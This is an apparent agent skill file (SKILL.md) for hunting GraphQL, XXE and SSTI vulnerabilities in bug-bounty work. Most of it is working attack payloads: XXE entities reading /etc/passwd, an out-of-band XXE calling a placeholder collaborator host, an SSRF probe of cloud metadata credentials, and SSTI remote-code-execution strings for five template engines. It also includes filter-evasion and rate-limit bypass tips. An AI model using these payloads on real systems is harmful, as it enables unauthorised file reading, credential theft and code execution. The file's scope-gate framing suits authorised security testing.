hunt-injection

Files (1)

• SKILL.md

SKILL.md (first lines)

# Hunt: GraphQL / XXE / SSTI

**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

## Wiki

```
qmd_query "SSTI XXE GraphQL injection template injection XML external entity" via wiki-search MCP
```

Hub: [[web-moc]] (live web index). Primary page: [[ssti]]. Payload arsenals: `wiki/payloads/{ssti,xxe,graphql,xslt}.md`.
Anchors: [[xxe]], [[graphql-attacks]], [[xslt-injection]] (server-side XSLT injection, payloads [[xslt]]).

---

## GRAPHQL

### Signals
```
/graphql  /api/graphql  /v1/graphql  /query  /gql
POST requests with {"query": "..."} body in Burp history
"apollo", "ApolloClient", "gql`" in JS bundles
```

### Methodology
1. Test introspection:
```bash
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name } } } }"}'
```
If blocked, try: `{"query":"{ __typename }"}`

2. Use InQL (Burp extension) or graphql-voyager to map schema. Push load-bearing queries/mutations to **Burp Repeater** (`Skill(hunt-burp)` / the Burp MCP) so the operator can replay them.
3. Find REST/GraphQL overlap - resources modifiable via BOTH APIs
4. Test IDOR: replay queries/mutations with another user's object IDs
5. Test authorization: lower-privilege user calling admin mutations
6. Test for persistent privilege after REST revokes access - GraphQL re-grants?

### Evasion
Introspection disabled -> `{"query":"{ __typename }"}` confirms GraphQL is live; then field-suggestion mining (typo a field, the error often names valid ones), alias-based enumeration for parallel object access, and query batching (array body) to bypass per-request rate limits and some auth checks.

---

## XXE

### Attack Surface (ranked)
```
/upload  /import  /parse  /convert  /saml/acs  /soap/*
Content-Type: application/xml or text/xml
SVG, DOCX, XLSX, PPTX file upload features
```
Rank: SAML ACS and document/office upload converters first (parsers there routinely resolve external entities), then any endpoint you can flip to `Content-Type: application/xml`.

### Classic File Read
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
```

### Blind OOB (when no reflection)
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR_COLLAB/xxe?x="> %xxe;
]>
<root>test</root>
```

### SVG Upload XXE
```xml
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>
```

### XXE -> SSRF
```xml
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
```

### Evasion
XML/DTD rejected -> switch vector (SVG/DOCX/XLSX/PPTX upload, or a `Content-Type: application/xml` swap on a JSON endpoint), UTF-16/UTF-7 re-encode the payload, wrap the leaked file through `php://filter/convert.base64-encode/resource=` for binary/PHP source, and use parameter entities + an external DTD when the inline DOCTYPE is blocked.

---

## SSTI

### Detection Probes (try all - different engines respond to different syntax)
```
{{7*7}}      -> 49 = Jinja2 / Twig
${7*7}       -> 49 = Freemarker / Velocity / SpEL
<%= 7*7 %>   -> 49 = ERB (Ruby)
#{7*7}       -> 49 = Mako
*{7*7}       -> 49 = Spring Thymeleaf
{{7*'7'}}    -> 7777777 = Jinja2 (not Twig)
```

### RCE Payloads (after fingerprinting engine)
```python
# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# ERB (Ruby)
<%= `id` %>

# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}

# Spring Thymeleaf SpEL
*{T(java.lang.Runtime).getRuntime().exec('id')}
```
Prove RCE with a harmless command (`id` / `whoami`) first - as the payloads above do. Never lead with a destructive command to demonstrate execution.

### Where to Test (ranked)

From Encod3d-Sec/TORCH, MIT.

More from Encod3d-Sec/TORCH